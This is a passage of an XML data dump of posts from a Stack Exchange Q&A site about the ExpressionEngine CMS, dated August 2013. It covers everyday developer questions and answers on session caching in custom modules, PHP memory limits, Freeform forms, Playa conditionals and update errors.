message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's no issue on entries with lower numbers of rows, and there's no issue with opening the entry for editing, only when saving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="1946" LastActivityDate="2013-08-24T02:46:48.183" Title="Assets and Matrix server error on save with high numbers of Matrix rows" Tags="|matrix|assets|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13110" PostTypeId="1" AcceptedAnswerId="13113" CreationDate="2013-08-23T18:01:45.463" Score="0" ViewCount="98" Body="&lt;p&gt;I am building a module and I set the cache in the form function, which will be retrieved in the insert_new_email function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can retrieve the cached data in the form function, but I can not in the insert_new_email function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the class I use for my mod.email_blast.php file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class email_blast {&#xA;&#xA;    public $return_data;&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     */&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('session');&#xA;        if (!class_exists('MCAPI'))&#xA;        {&#xA;            require PATH_THIRD.'email_blast/libraries/MCAPI.php';&#xA;        }&#xA;    }&#xA;&#xA;    // ----------------------------------------------------------------&#xA;&#xA;    public function form() {&#xA;        $service = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('service', false);&#xA;        $api_key = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('api_key', false);&#xA;        $list_id = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('list_id', false);&#xA;&#xA;        if($api_key == FALSE || $list_id == FALSE) {&#xA;            return &quot;You are missing parameter(s)&quot;;&#xA;        }&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_cache('email_blast', 'api_key', $api_key);&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_cache('email_blast', 'list_id', $list_id);&#xA;        $this-&amp;gt;EE-&amp;gt;session-&amp;gt;set_cache('email_blast', 'service', $service);&#xA;&#xA;        // Build an array to hold the form's hidden fields&#xA;        $hidden_fields = array(&#xA;            'ACT'       =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_action_id('Email_blast', 'insert_new_email'),&#xA;            'RET'       =&amp;gt; ee()-&amp;gt;functions-&amp;gt;fetch_current_uri(),&#xA;            'API_KEY'   =&amp;gt; $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache('email_blast', 'api_key')&#xA;        );&#xA;&#xA;        // Build an array with the form data&#xA;        $form_data = array(&#xA;            &quot;id&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_id,&#xA;            &quot;class&quot; =&amp;gt; $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;form_class,&#xA;            &quot;hidden_fields&quot; =&amp;gt; $hidden_fields,&#xA;        );&#xA;&#xA;        // Fetch contents of the tag pair, ie, the form contents&#xA;        $tagdata = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata;&#xA;&#xA;        $form = $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;form_declaration($form_data) . &#xA;            $tagdata . &quot;&amp;lt;/form&amp;gt;&quot;;&#xA;&#xA;        return $form;&#xA;    } &#xA;&#xA;    function insert_new_email()&#xA;    {&#xA;        $email = ee()-&amp;gt;input-&amp;gt;get_post('email');&#xA;        $email = trim(strip_tags($email));&#xA;        $api_key = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache('email_blast', 'api_key');&#xA;        $api = new MCAPI($api_key);&#xA;        $merge_vars = array (&quot;OPTINIP&quot; =&amp;gt; $_SERVER['REMOTE_ADDR']);&#xA;        $list_id = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;cache('email_blast', 'list_id');&#xA;        $result = $api-&amp;gt;listSubscribe($list_id, $email, $merge_vars, 'html', 'false', 'true', 'false', 'true');&#xA;&#xA;        $data = array(&#xA;            'title'     =&amp;gt; 'Mailing list',&#xA;            'heading'   =&amp;gt; 'Thank you',&#xA;            'content'   =&amp;gt; $list_id,&#xA;            'link'      =&amp;gt; array($_POST['RET'], 'Site name here'),&#xA;            'email'     =&amp;gt; $email,&#xA;        );&#xA;&#xA;        ee()-&amp;gt;output-&amp;gt;show_message($data);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13" LastActivityDate="2013-08-23T19:42:36.713" Title="can not retrieve values from cache in custom module" Tags="|module|cache|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13111" PostTypeId="2" ParentId="4943" CreationDate="2013-08-23T18:16:49.640" Score="1" Body="&lt;p&gt;Fix for 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$child_categories = &quot;1,2,3&quot;;&#xA;$parent_category = &quot;4&quot;;&#xA;$entries = ee()-&amp;gt;db-&amp;gt;query(&quot;SELECT DISTINCT entry_id FROM exp_category_posts WHERE cat_id IN($child_categories)&quot;);&#xA;&#xA;if($entries-&amp;gt;num_rows() &amp;gt; 0)&#xA;{&#xA;    foreach($entries-&amp;gt;result_array() as $entry)   &#xA;    {&#xA;            ee()-&amp;gt;db-&amp;gt;query(&#xA;                    ee()-&amp;gt;db-&amp;gt;insert_string(&#xA;                         'exp_category_posts',&#xA;                    array('cat_id' =&amp;gt; $parent_category, 'entry_id' =&amp;gt; $entry['entry_id'])&#xA;                    )&#xA;                    );&#xA;     }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="809" LastActivityDate="2013-08-23T18:16:49.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13112" PostTypeId="2" ParentId="13102" CreationDate="2013-08-23T19:14:54.683" Score="0" Body="&lt;p&gt;Since data is hitting Freeform but emails aren't arriving, the first thing to test is whether or not emails from EE are being delivered correctly. Test this by sending an email to yourself from the Communicate page (Tools &gt;&gt; Communicate).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the email arrives, I'd conclude it's an issue in your template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the email doesn't arrive, I'd conclude the issue is with email delivery. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to test the actual delivery is to connect EE to an SMTP account... either your own or a free &lt;a href=&quot;http://www.mandrill.com&quot; rel=&quot;nofollow&quot;&gt;http://www.mandrill.com&lt;/a&gt; account. You can make this adjustment at (Admin &gt;&gt; Email Configuration). Select SMTP from the Email Protocol dropdown and add your credentials in the fields below.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-08-23T19:14:54.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13113" PostTypeId="2" ParentId="13110" CreationDate="2013-08-23T19:42:36.713" Score="4" Body="&lt;p&gt;The session cache only lasts for a single page request. So by the time your action gets called, that cache is gone. You'd be better off adding those to the form as hidden fields, and then grabbing them from POST in your action.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-23T19:42:36.713" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13114" PostTypeId="2" ParentId="13102" CreationDate="2013-08-23T21:34:02.087" Score="1" Body="&lt;p&gt;try setting value=&quot;{freeform:recipient_value1}, etc.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-08-23T21:34:02.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13115" PostTypeId="1" CreationDate="2013-08-23T22:21:45.560" Score="0" ViewCount="62" Body="&lt;p&gt;I'm trying to use channel images on a Windows server, but channel images uses a '/' for the paths on the actions instead of letting me use ' \'. Anyone have a fix for this?&lt;/p&gt;&#xA;" OwnerUserId="273" LastActivityDate="2013-08-27T16:44:01.530" Title="Channel Images and IIS paths" Tags="|channel-images|windows|iis|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13116" PostTypeId="2" ParentId="13108" CreationDate="2013-08-24T00:31:45.113" Score="2" Body="&lt;p&gt;I hit this recently. You need to increase the max_execution_time in php.ini. i went with 300 and this fixed it right up for me. Also make sure you have sufficient memory. I specify 128Mb+&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-08-24T00:31:45.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13117" PostTypeId="2" ParentId="12972" CreationDate="2013-08-24T01:04:08.007" Score="6" Body="&lt;p&gt;I've created an extension that'll let you do it.&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/jazonv/SafeCracker-HTML5-Attributes&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jazonv/SafeCracker-HTML5-Attributes&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to &lt;code&gt;data-foo=&quot;bar&quot;&lt;/code&gt;, it'll also lets you use &lt;code&gt;autocomplete=&quot;no&quot;&lt;/code&gt; and &lt;code&gt;novalidate=&quot;novalidate&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(Inspired by &lt;a href=&quot;https://gist.github.com/objectivehtml/2595553&quot; rel=&quot;nofollow&quot;&gt;this gist&lt;/a&gt; by Objective HTML)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Disclaimer:&lt;br&gt;&#xA;I'm by no means a PHP/Add-on dev. I just wanted to 'have a go' too. Hopefully there's nothing wrong with it.&lt;br&gt;&#xA;If any better-versed devs want to give it a once over, that'd be appreciated.&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-08-24T15:43:42.403" LastActivityDate="2013-08-24T15:43:42.403" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13118" PostTypeId="2" ParentId="12639" CreationDate="2013-08-24T01:30:28.410" Score="1" Body="&lt;p&gt;Can you check phpinfo and see if your server has SuHosin enabled. I had a similar issue and it turned out that unfortunately Backup Pro doesn't work on servers with this enabled.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-08-24T01:30:28.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13119" PostTypeId="2" ParentId="10960" CreationDate="2013-08-24T01:32:54.513" Score="1" Body="&lt;p&gt;It appears that this is an Assets2 memory issue. Cranking the memory limit up to 128Mb (from 32Mb) seemed to solve the whitescreen of death problem but I had other issues with Assets not indexing correctly etc. increasing the memory limit solved the problems.&lt;/p&gt;&#xA;" OwnerUserId="305" LastActivityDate="2013-08-24T01:32:54.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13120" PostTypeId="2" ParentId="12194" CreationDate="2013-08-24T02:28:01.607" Score="0" Body="&lt;p&gt;Good goddy lordy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You &lt;em&gt;should&lt;/em&gt; be able to roll back - I hope you have been! - but that's one heck of a huge jump. Note to anyone else considering a big EE upgrade like this, my advise would be rebuild the site in a new database, import your members and the simplest content piecemeal slowly, and then just quick-change the front-end files when you have everything all squared away. When I was just trying to upgrade from 1.6.9 to 2.1.0, there were enough kludgy problems (and the control panel ran SO SLOWLY!!!) that I decided, forget it, enough with the legacy crud, I'm starting fresh. It took some time (3K entries to import) but in the end I'm glad I went with that option. The site runs better, the control panel runs MUCH better, and I have no problems when I want to install new plugins. (The sheer number of steps is one factor in why this upgrade was so wobbly. The 1x -&gt; 2x is another factor. If someone's going from 2.5.2 to 2.6.1, I wouldn't necessarily start over. But from 1.x to 2.6.1...yeah. Save yourself some pain and a goodly deal of headbeating.)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-08-24T02:28:01.607" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13121" PostTypeId="2" ParentId="13108" CreationDate="2013-08-24T02:46:48.183" Score="0" Body="&lt;p&gt;In addition to increasing the memory in the php.ini as Damien_Buckley stated, you might also want to talk to the server admin, see if there's a way on his end to increase the memory or otherwise optimize the server. Otherwise, in another six or eight months, you may hit this same problem again if your site keeps expanding / adding Assets and Matrix rows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also want to ping the Pixelandtonic folks about this issue - see if they can do anything on their end to make future versions run better and avoid this error. (If you haven't already, that is!)&lt;/p&gt;&#xA;" OwnerDisplayName="user800" LastActivityDate="2013-08-24T02:46:48.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13122" PostTypeId="1" CreationDate="2013-08-24T04:11:02.640" Score="1" ViewCount="215" Body="&lt;p&gt;Any idea why this conditional is not working? If I remove 'if' the code renders desired result.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;festivals&quot; url_title=&quot;festival-2013&quot; limit=&quot;1&quot;}&#xA;        {exp:playa:children channel=&quot;films&quot; var_prefix=&quot;films&quot;}&#xA;&#xA;        {if '{films:film_language}' != &quot;&quot;}&#xA;            {films:exp:playa:children channel=&quot;languages&quot; var_prefix=&quot;filmlanguage&quot; backspace=&quot;1&quot;} &#xA;                {filmlanguage:title},&#xA;            {/films:exp:playa:children}&#xA;        {/if}&#xA;&#xA;            {/exp:playa:children}&#xA; {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1947" LastActivityDate="2013-08-26T17:54:49.523" Title="Problem with using conditionals on nested Playa children tag" Tags="|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13123" PostTypeId="1" AcceptedAnswerId="13129" CreationDate="2013-08-24T07:29:42.427" Score="3" ViewCount="583" Body="&lt;p&gt;I was working on my site when I suddenly got this error from CE-Image&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fatal error: Allowed memory size of 67108864 bytes exhausted (tried to allocate 9940 bytes) in ................./system/expressionengine/third_party/ce_img/libraries/Ce_image.php on line 2834&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I looked at the line and I saw this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dest = imagecreatetruecolor( $this-&amp;gt;width_final, $this-&amp;gt;height_final );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Seems to me this is a memory error issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What steps should I do to correct this? Is this the fault of the plugin or PHP?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-08-24T12:17:08.180" Title="CE Image - Allowed memory size exhausted" Tags="|ce-image|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13124" PostTypeId="1" CreationDate="2013-08-24T07:39:26.673" Score="1" ViewCount="182" Body="&lt;p&gt;I would like to get the label and checkbox inline using composer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the current code rendered by the &lt;code&gt;{composer:field_output}&lt;/code&gt; tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;unit size1of1&quot;&amp;gt;&#xA;  &amp;lt;label for=&quot;freeform_newsletter&quot;&amp;gt;&#xA;    Newsletter&#xA;  &amp;lt;/label&amp;gt;&#xA;  &amp;lt;p&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;newsletter&quot; value=&quot;n&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;checkbox&quot; name=&quot;newsletter&quot; value=&quot;y&quot; id=&quot;freeform_newsletter&quot;&amp;gt;&#xA;  &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I'd like it to render something like this, still using the &lt;code&gt;{composer:field_output}&lt;/code&gt; tag while selecting all items containing checkboxes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label  for=&quot;freeform_newsletter&quot; class=&quot;checkbox-inline&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;hidden&quot; name=&quot;newsletter&quot; value=&quot;n&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;checkbox&quot; name=&quot;newsletter&quot; value=&quot;y&quot; id=&quot;freeform_newsletter&quot;&amp;gt; Newsletter&#xA;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="664" LastEditorUserId="100" LastEditDate="2013-08-24T15:45:15.490" LastActivityDate="2014-07-04T13:43:19.990" Title="Checkbox inline with label using the composer" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13125" PostTypeId="2" ParentId="13123" CreationDate="2013-08-24T07:40:42.030" Score="0" Body="&lt;p&gt;Did you take a look at the original size of the image? Especially the pixel width and height. If above, say, 2000 pixels it might be to much for 64MB memory on your server. If so, use a smaller image or get a bigger buffer on the server. But a full 36 Megapixel image is a challenge for any server/script.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-08-24T07:40:42.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13126" PostTypeId="1" CreationDate="2013-08-24T07:45:16.117" Score="3" ViewCount="197" Body="&lt;p&gt;I'm trying to use the &lt;a href=&quot;http://www.solspace.com/software/detail/freeform/&quot; rel=&quot;nofollow&quot;&gt;Freefrom Pro&lt;/a&gt; Fieldtype in a channel to select the correct form within an entry. I'd like to add &lt;code&gt;form:class=&quot;well&quot;&lt;/code&gt; and &lt;code&gt;inline_errors=&quot;yes&quot;&lt;/code&gt; for all the forms rendered with that Freeform fieldtype short name in the &lt;code&gt;channel:entries&lt;/code&gt; tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&lt;/p&gt;&#xA;" OwnerUserId="664" LastEditorUserId="27" LastEditDate="2013-08-26T12:55:03.437" LastActivityDate="2013-09-22T17:28:22.427" Title="Additional parameters while using Freeform Pro Fieldtype" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13127" PostTypeId="1" CreationDate="2013-08-24T08:13:34.500" Score="1" ViewCount="90" Body="&lt;p&gt;I've implemented the solspce-ratings plugin on a client website and have enabled the captcha, but am still getting spammed. &#xA;Any ideas on what else I can do to avoid getting spam ratings ? &lt;/p&gt;&#xA;" OwnerUserId="1948" LastActivityDate="2014-04-20T16:58:51.433" Title="Solspace-Rating Spam" Tags="|spam|solspace-rating|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13128" PostTypeId="2" ParentId="13127" CreationDate="2013-08-24T08:30:58.903" Score="1" Body="&lt;p&gt;The best way to beat form spam for EE imho is to use &lt;a href=&quot;http://devot-ee.com/add-ons/accessible-captcha&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/accessible-captcha&lt;/a&gt;, which turns captcha into a much better working q&amp;amp;a. This has solved all automated spam for me.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-08-24T08:30:58.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13129" PostTypeId="2" ParentId="13123" CreationDate="2013-08-24T12:17:08.180" Score="5" Body="&lt;p&gt;PHP is letting you know that the maximum amount of memory that it is allowed to use has been exhausted. You need to either do less memory intensive things (work with smaller images, etc), or increase the maximum amount of memory PHP is allowed to use on your server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When working with really large images, or even doing processor intensive filters on moderately large images, you'll need to increase the maximum amount of memory that PHP can access on your server. You can easily do so in php.ini or right in your EE config.php file like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['ce_image_memory_limit'] = 128;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The default limit is 64 (megabytes), so you can try bumping it up a bit. See the &lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-image/user-guide/configuration#basic_config&quot;&gt;CE Image Basic Configuration&lt;/a&gt; page for more details on the config setting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another thing to keep in mind, is that CE Image is not the only thing that is using memory. The memory usage is comprised of all resources that PHP has in memory: files, snippets, add-on classes, etc. Image manipulation is innately memory heavy though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: I'm the author of CE Image.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2013-08-24T12:17:08.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13130" PostTypeId="2" ParentId="13067" CreationDate="2013-08-24T13:58:56.217" Score="1" Body="&lt;p&gt;I've been waiting for this too, this was possible with a plugin in EE1. You might be better off with Channel Images. With Channels Images people only see their own uploads as standard behavior. Upload is direct through the field, there is no in between library access. People can remove images if they can access their own entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another advantage is that images are deleted with the entries.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2013-08-24T13:58:56.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13131" PostTypeId="1" AcceptedAnswerId="13180" CreationDate="2013-08-24T17:28:25.770" Score="0" ViewCount="220" Body="&lt;p&gt;Is is possible to get custom field data of a calendar from a related event? Basically I want to be able to assign colors to calendars as a custom field, and then within the &lt;code&gt;{events}&lt;/code&gt; variable pair set the background color of an event based on which calendar it belongs to. So something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:calendar:cal date_range_start=&quot;year-month-01&quot; ... }&#xA;&#xA;  {display_each_day}&#xA;&#xA;    {date format=&quot;%J&quot;}        &#xA;&#xA;    {events}&#xA;&#xA;      &amp;lt;article style=&quot;background-color: #{calendar_color};&quot;&amp;gt;&#xA;        &amp;lt;h1&amp;gt;{event_title}&amp;lt;/h1&amp;gt;&#xA;      &amp;lt;/article&amp;gt;&#xA;&#xA;    {/events}&#xA;&#xA;  {/display_each_day}&#xA;&#xA;{/exp:calendar:cal}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code will only output a blank string for the &lt;code&gt;{calendar_color}&lt;/code&gt; custom field (I assume this is because the &lt;code&gt;{exp:calendar:cal}&lt;/code&gt; tag by default will output multiple calendars).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically I'm just looking for a way to create a reverse relationship from the event to the calendar based on the relationship that is already setup between calendars and events with Solspace Calendar.&lt;/p&gt;&#xA;" OwnerUserId="286" LastActivityDate="2013-09-26T14:46:56.400" Title="Related calendar custom fields from an event" Tags="|solspace-calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13132" PostTypeId="2" ParentId="13095" CreationDate="2013-08-24T18:22:16.420" Score="4" Body="&lt;p&gt;You can disable CKEditor’s content filtering functionality by going to Add-Ons &gt; Modules &gt; Wygwam &gt; [your config name], and changing the “Restrict allowed HTML?” setting to “No”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That’s a new setting as of Wygwam 3.1, so you may have to update Wygwam first.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-08-24T18:22:16.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13133" PostTypeId="2" ParentId="12616" CreationDate="2013-08-24T19:10:58.807" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Also, if a customer has entered different info for billing &amp;amp; shipping in their member account, when they are logged in and go to checkout, the checkbox for setting the shipping info to &quot;Same as Billing Details&quot; is checked and overwrites what is entered for shipping info in the customer's account.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Is there a way around this?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes, you can just set this to be unchecked by default. It's under Store &gt; Settings &gt; General &gt; Default Shipping Address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is probably the least disruptive method if you are expecting customers to enter these details before they go through the checkout.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-08-24T19:10:58.807" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13134" PostTypeId="1" CreationDate="2013-08-24T19:57:48.723" Score="0" ViewCount="226" Body="&lt;p&gt;I am trying to update my EE installation from 2.5.2 to 2.6.1 using DevDemon Updater v3.2.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following errors on the &quot;update CP Theme Corporate (N/A)&quot; stage (first stage)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Error Unexpected server response, probably a php error. Show more&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I view the PHP errors, they all relate to images in a themes/cp_global_images/corporate/&#xA;folder, which does not exist, I have looked in other EE installations and that folder doesn't exist in them either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A PHP Error was encountered&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Severity: Warning&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Message:&#xA;copy(/x/x/public_html/themes/cp_global_images/&lt;strong&gt;corporate&lt;/strong&gt;/calendar.gi&#xA;f)&#xA;[function.copy]: failed to open stream: No such file or directory&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: libraries/updater_transfer.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 820&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Screen grab here: &lt;img src=&quot;https://i.stack.imgur.com/YMGzb.png&quot; alt=&quot;Screen grab here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="541" LastEditorUserId="541" LastEditDate="2013-08-24T20:12:01.030" LastActivityDate="2013-08-24T20:12:01.030" Title="DevDemon Updater - updating EE2.5.2 to 2.6.1 Error Unexpected server response, probably a php error" Tags="|update|devdemon|devdemon-updater|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13135" PostTypeId="2" ParentId="13100" CreationDate="2013-08-24T21:48:25.167" Score="1" Body="&lt;p&gt;I'd try Low's seg2cat and use {segment_n_category_group_id}&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-seg2cat/docs&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-seg2cat/docs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2013-08-24T21:48:25.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13136" PostTypeId="2" ParentId="12652" CreationDate="2013-08-24T21:57:30.093" Score="3" Body="&lt;p&gt;Is it an EE1 site? If so, go to Extensions, then Fieldframe's settings and check the path.&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2013-08-24T21:57:30.093" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13137" PostTypeId="2" ParentId="13100" CreationDate="2013-08-24T23:38:47.080" Score="1" Body="&lt;p&gt;Christy's solution is a good one for sure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But just in case your segments don't match the category group &lt;code&gt;url_title&lt;/code&gt; exactly, try an embed or Stash. Here's the embed version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your current template, replace your current tag pair with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;group/name_your_new_embed_template&quot;&#xA;    cat=&quot;{if segment_1 == &quot;cave&quot;}3{/if}{if segment_1 == &quot;clothing&quot;}7{/if}{if segment_1 == &quot;accessories&quot;}8{/if}{if segment_1 == &quot;brands&quot;}2{/if}&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in &lt;code&gt;group/name_your_new_embed_template&lt;/code&gt; put a similar version of current tag pair, that's reads the values being sent for the &lt;code&gt;cat&lt;/code&gt; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;list&quot;&amp;gt;&#xA;  {exp:channel:categories &#xA;    parent_only=&quot;no&quot; &#xA;    show_empty=&quot;no&quot; &#xA;    style=&quot;linear&quot; &#xA;    category_group=&quot;{embed:cat}&quot;}&#xA;    &amp;lt;li&amp;gt;&#xA;      &amp;lt;article&amp;gt;&#xA;        &amp;lt;a href=&quot;/{segment_1}/category/{category_url_title}&quot;&amp;gt;&#xA;          {category_image}&#xA;          &amp;lt;h2&amp;gt;{category_name}&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;      &amp;lt;/article&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;  {/exp:channel:categories}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-08-24T23:38:47.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
